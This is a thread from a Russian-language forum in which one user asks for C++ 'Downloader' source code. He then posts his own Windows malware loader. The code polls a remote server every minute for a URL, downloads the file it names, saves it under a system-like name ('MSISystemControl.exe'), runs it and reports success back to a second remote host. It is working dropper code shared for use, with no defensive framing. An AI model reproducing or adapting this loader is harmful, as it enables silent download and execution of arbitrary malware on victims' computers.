1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Нужен исходник Downloader'a на C++

Тема в разделе "Исходные коды", создана пользователем ponchic, 15 апр 2016.

  1. TopicStarter Overlay
    ponchic

    ponchic юзверь

    Регистрация:
    15 дек 2013
    Сообщения:
    407
    Симпатии:
    276
    Поделитесь у кого есть :)
     
    Метки:
  2. EEjester

    EEjester hack_the_god

    Регистрация:
    25 окт 2012
    Сообщения:
    1.326
    Симпатии:
    941
    urldownloadtofile + createprocess
     
    • Agree Agree x 1
  3. TopicStarter Overlay
    ponchic

    ponchic юзверь

    Регистрация:
    15 дек 2013
    Сообщения:
    407
    Симпатии:
    276
    Я это уже создал, мне бы хорошо отлаженный и проверенный поколениями код.
    Код:
    VOID GetFileFromUrl(char * strurl) {
    
    
    
        HINTERNET hSession = InternetOpen("Downloader", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
        HINTERNET hConnect = InternetOpenUrl(hSession, strurl, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, 0 );
    
        // получить размер заголовка
        DWORD  dwInfoLen = 0;
        HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH, NULL, &dwInfoLen, NULL);
    
        // прочитать заголовок
        char* sHeadInfo = new char[dwInfoLen];
        HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH, sHeadInfo, &dwInfoLen, 0);
    
        // размер файла в байтах
        DWORD dwFileSize =  atoi(sHeadInfo);
        delete [] sHeadInfo;
    
        // буфер
        BYTE * pFileBuf = new BYTE[dwFileSize];
        BYTE * pBufScan =  pFileBuf;
        //printf("file size: %d\n", dwFileSize);
    
        // читать
        DWORD dwAval, dwRead;
        while (InternetQueryDataAvailable(hConnect, &dwAval, 0, 0))
        {
            if (!InternetReadFile(hConnect, pBufScan, dwAval, &dwRead))
                break;
            if (!dwRead)
                break;
            pBufScan += dwRead;
    
            //----
            char e[32];
            //sprintf(e, "read bytes: %d \n",  pBufScan - pFileBuf);
            OutputDebugString(e);
        }
      
      
        /*
        TCHAR b[64], SaveStrise[64];
        _stscanf(strurl, _T("%*[^/]%*2s%*[^/]%*c%63[^/]"), b);
      
        strcat(SaveStrise, "C:\\temp\\");
        strcat(SaveStrise, b);
        */
        char fname[80] = "C:\\temp\\MSISystemControl.exe";
      
        if(remove(fname))
            MessageBox(NULL, "Error removing file", " ", MB_OK | MB_ICONERROR);
      
        HANDLE hFile = CreateFile(fname, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); //FILE_ATTRIBUTE_HIDDEN
        DWORD dww;
        WriteFile(hFile, pFileBuf, dwFileSize, &dww, NULL);
        CloseHandle(hFile);
    
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
    
        ZeroMemory( &si, sizeof(si) );
        si.cb = sizeof(si);
    
        if(CreateProcess(NULL, fname, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
            SendInfo("http://1.bget.ru/ResDownLoad.php");
        }
    
        delete [] pFileBuf;
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hSession);
    }
    BYTE * GetPageUrl(char * strurl) {
    
    
    
        HINTERNET hSession = InternetOpen("Downloader", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
        HINTERNET hConnect = InternetOpenUrl(hSession, strurl, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, 0 );
    
        // получить размер заголовка
        DWORD  dwInfoLen = 0;
        HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH, NULL, &dwInfoLen, NULL);
    
        // прочитать заголовок
        char* sHeadInfo = new char[dwInfoLen];
        HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH, sHeadInfo, &dwInfoLen, 0);
    
        // размер файла в байтах
        DWORD dwFileSize =  atoi(sHeadInfo);
        delete [] sHeadInfo;
    
        // буфер
        BYTE * pFileBuf = new BYTE[dwFileSize];
        BYTE * pBufScan =  pFileBuf;
        //printf("file size: %d\n", dwFileSize);
    
        // читать
        DWORD dwAval, dwRead;
        while (InternetQueryDataAvailable(hConnect, &dwAval, 0, 0))
        {
            if (!InternetReadFile(hConnect, pBufScan, dwAval, &dwRead))
                break;
            if (!dwRead)
                break;
            pBufScan += dwRead;
    
            //----
            char e[32];
            //sprintf(e, "read bytes: %d \n",  pBufScan - pFileBuf);
            OutputDebugString(e);
        }
    
    
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hSession);
    
        return pFileBuf;
    
    }
    
    DWORD WINAPI CheckDwonload(PVOID pvParam) {
        while (TRUE) {
        BYTE * res = GetPageUrl("http://a1.bget.ru/index2.php");
        MessageBox(NULL, (LPCSTR)res, " ", MB_OK);
    
    
        GetFileFromUrl((char *)res);
        Sleep(60000);
        }
    
        return 0;
    }
    
     

Поделиться этой страницей

Загрузка...